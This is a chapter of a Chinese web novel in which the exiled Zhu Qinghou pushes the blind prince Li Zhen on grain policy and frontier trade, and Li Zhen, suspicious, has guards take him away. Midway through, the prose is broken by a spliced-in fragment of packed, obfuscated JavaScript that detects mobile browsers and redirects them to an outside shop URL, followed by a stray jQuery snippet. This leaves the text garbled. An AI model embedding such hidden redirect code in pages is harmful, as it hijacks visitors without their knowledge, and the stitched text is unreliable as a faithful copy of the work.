21. 第 21 章
作品:《被流放到宿敌的封地后》 李禛开了口,还未出声。
王卒心想,殿下定然是要训斥祝轻侯,然后将他赶出书房,再不许他踏足半步。
谁知,李禛只是淡声解释道:“充为官粮,贩与百姓。”
王卒表面静默,内心已经掀起几重波澜,此事虽然在雍州的官场上不算秘辛,但是殿下愿意给祝轻侯解释,这说明什么?
殿下根本不抵触祝轻侯摄政,雍州,怕不是要变天了。
祝轻侯对民生一窍不通,偏生雍州又是个穷乡僻壤,百姓都指望着那点牛羊稻谷过活,满桌案牍上都是这些琐碎复杂的政事。
他边看边问,试图捋出脉络,找到机会插手雍州的政局。
李禛不知想到什么,在这方面格外耐心,几乎无有不应,一点点地教他梳理政令。
听到最后,祝轻侯已然有些晕头转向,敢情李禛这四年来,都忙着在雍州放牛放羊,操心五谷了。
一想到少年时寡言少语,不食人间烟火的李禛,来到雍州后,肩负一州之责,把数万万人的生计都扛在肩上,祝轻侯心里莫名有点复杂。
他还没来得及琢磨这念头的来由,李禛便已经下了逐客令,“时候太晚了,先回去吧。”
祝轻侯一偏头,窗棂外暮色四合,霞光昏茫,已然是傍晚时分了,他竟然在书房待了这么久。
“那我先回去了。”
祝轻侯拢紧了大氅,起身朝外走去。
李禛静静地坐在原地,听着对方离去的脚步声,维持着微微倾斜的坐姿,一动未动。
果然,祝轻侯是个没心没肺的性子,一旦得到他想要的,他便会把人抛之脑后——
那脚步声刚响了两声,忽而一顿,听动静,似乎是又走了回来。
祝轻侯转过头,对李禛道:“我们一同回去吧。”
当年宗学下学后,他便是和李禛结伴回去,从宗学到宫门,恰好可以同行一小段路。
李禛纷杂的思绪被祝轻侯轻飘飘的一句话打断,面上不显,淡淡应道:“嗯。”
他拿起手杖,站起身,鬓边的小辫还未解,随着动作叮叮当当地响。
祝轻侯牵起他的袍裾,与他一同往外走去,抱怨道:“‘嗯’是什么意思?总是叫人猜。”
暮色下,两人一同走出书房,提着灯,走进幽深的曲廊。
四面值守的王卒见了,总觉得有些怪异——殿下竟然如此纵容那个罪奴?
祝轻侯全然没有注意到隐在暗处的目光,伸着手,去够李禛手中提灯的暖意。
诏狱阴寒,再加上前段时候浸在冰水里受了凉,以至于他愈发得怕冷。如今分明已是春分,他还是觉着冷。
李禛目不能视,却对旁人投来的视线更加敏锐,他微微侧首,左右“看”了几眼,那些盯着祝轻侯的目光顿时消失了,带着恐惧,隐没在黑暗中。
他低垂眉眼,不动声色将提灯往祝轻侯身边挪了挪,温声问道:“还冷吗?”
“冷,”祝轻侯裹紧大氅,顺手接过李禛手里的提灯,整个人挨了过去,靠着李禛,小声嘀咕:“好冷。”
李禛伸手,指尖在半空中摸索,仿佛在找什么东西,祝轻侯随意把手塞了过去,被对方牢牢捉住。
李禛的五指骨骼修长,指节微微凸起,几乎将他的手掌整个笼在手里。
手心触碰间,李禛手上的寒意传到祝轻侯身上,冷得他哆嗦了一下,想要抽出手,对方却不让。
“以后我每天都要来书房,”祝轻侯只能任由他拢着自己的手,一面走,一面随口道。
“嗯。”李禛淡淡道,不置可否。
既然他没拒绝,那便算他答应了。
祝轻侯得寸进尺,“我还要参与议政。”
长风穿廊而过,吹出一两声短促的叮当响,幽寂轻灵,很快归为死寂。
李禛过了两息才回答,“嗯。”
又是一个古井无波的“嗯”字,辩不出情绪。
祝轻侯习惯了他这幅岑寂淡漠的死样子,也不以为意,自顾自地念叨:“官粮的定价偏低,你的银子从哪来?不如想办法开源,派外商到关外和魏人互市。”
他想了想,又问:“两心同是不是也是从关外寻来的?”
这次,李禛静默的时间比方才两次还要长,此蛊确实是从关外寻来的,解蛊之法,亦是出自关外。
祝轻侯贸然提起外商之事,难不成,他就如此着急解开两心同?
……他又在谋划着什么?再一次逃跑吗?
李禛的声音愈发冷淡冰凉,“我不知。”
提灯光转,烛火幽邃明灭,映照着年轻藩王冷淡的眉眼,清淡威仪,湛若冰玉。
祝轻侯何其了解李禛,心想,难不成有人惹了李禛,让他不高兴了?
他也不纠结两心同究竟是不是出自关外,追问道:“派外商到关外互市呢?你有没有听我说话?”
如今两魏分裂,内部矛盾不断,对晋朝来说倒是一件好事。两魏自顾不暇,便没空来犯晋朝。
如今边关还算太平,不如趁这个机会,想办法和两魏互市,换些雍州百姓所缺的用度。
听他的语气,倒像是把雍州当成了他的领地,兴致勃勃地规划着。
蒙眼的白绫后,李禛眼睫微垂,难辨喜怒。
“你当真是为了雍州着想?”
祝轻侯自然是拍着胸脯应道:“这是自然,雍州好了,我才能……”掌握更多的权力,借此翻案。
后半截话,他没说出来。
他现在只盼着李禛乖乖听他的话,让往东不敢往西,最好立刻马上落实互市之事,让他做出功绩来,狠狠地惊艳所有人。
而且,关外既然有两心同这种好玩的东西,自然也会有……
李禛没言语,丝毫不接他的话,祝轻侯倒是毫不气馁,喋喋不休:“互市这种利国利民的好事,为何不去做?献璞?”
李禛似乎被他说动,缓缓开口。
祝轻侯等着他答应。
“到了,”李禛淡声道,他松开手,支着手杖,独自踏上殿前的长阶。
徒留祝轻侯站在原地,手里提着灯,在灯影中愣了好一会儿,抬脚追了上去,“献璞,你听我说……”
难得见他在殿下面前吃瘪,侯在殿前的崔伯倒是很新奇,迎上前,低声道:“殿下。”
好奇归好奇,他不敢问李禛究竟发生了何事。
李禛低声吩咐:“看着他,别让他有机会接触到别人。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722206|189419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>……看着他?
崔伯一时愣怔。
殿下,您要不看看负责看守祝轻侯的暗卫一共有多少人?明里暗里加起来不下百人。
还要怎么个看法?
崔伯沉思片刻,大手一挥,索性继续加人看守。
接到命令的暗卫:“……”
人再加下去,就连殿外的树杈子都要挤满了。
落在后头的祝轻侯对此无知无觉,快步追了上来,“你走这么快干嘛?”他一手提着灯,一手笼着大氅,抱了个手忙脚乱。
李禛转过头,支着手杖,立在长阶上,殿前高悬的琉璃宫灯投下淡淡烛影,光影溶溶,披在蒙眼青年身上。
高峻巍然,冰姿雪貌。
祝轻侯在几步之外的长阶下望着他,有一瞬间的出神——
多年前的祝府夜宴上,销金烁银,楼台亭榭,及冠不久的少年皇子一身简袍,立在如露如电的光影中。
眉眼尚存青涩,眼眸淡淡笑意,低眉望着眼前的酒樽。
“小玉,我从未饮过酒。”
“今日是我的生辰,你喝一口试试嘛。”
啪嗒一声。
檐下露水落在地面,溅起水花。
祝轻侯如梦初醒,攥着衣摆,笼着大氅,提灯走上长阶,靠近李禛,“……献璞,”他催促道:“傻站在这里做什么?快进去呀。”
崔伯睨了祝轻侯一眼,殿下站在原地,定然是还有话要吩咐他。
总不可能是在等祝轻侯吧?
“嗯,”李禛转身朝殿内走去。
崔伯:“……”
祝轻侯一面跟着李禛走进殿内,一面絮絮叨叨:“我方才和你说的话,你究竟有没有听进去?三朝互市,于情于理都是好事……”
话还没说完,前面的身影骤然停下,祝轻侯险些撞了上去,手里的灯一晃,烛火噗嗤熄了,四面顿时陷入黑暗。
“……献璞?”
大殿周遭漆黑一片,桌椅陈设都笼在朦胧黑暗中,只剩个起伏的轮廓。
数道轮廓远远近近地重叠,宛如一道道未知的黑影。
祝轻侯眨了眨眼,有些不习惯黑暗,举起提灯,鼓着腮帮子,试图吹亮烛火。
正吹着呢,却听面前传来一道冰凉如玉的声音:“回去。”
李禛叫他回去。
祝轻侯忙在吹灯,不搭理他。
这里是李禛的殿室,床榻也是属于李禛的,再往内走,隐在深处的内殿才是属于祝轻侯的。
但那又如何,他爱在哪睡在哪睡。
四面寂静了刹那。
对方似乎拿他无可奈何。
祝轻侯没在意,刚把提灯中心的火芯子吹亮一点,背对着他的李禛再度开口,语调比方才还要冰凉冷淡:“……带他回去。”
带谁回去?
祝轻侯放下灯,疑惑地张望,一错眼的功夫,眼前不知何时出现了几位黑衣暗卫,不由分说,小心翼翼地掣肘着他,就要将他带离殿内。
刚燃起一点火苗的提灯蓦然落在地上。
祝轻侯被人拖走,挣扎着,追问李禛:“献璞?献璞!你又闹什么?”
黑暗中,李禛依旧背对着他,不曾回头看他一眼。

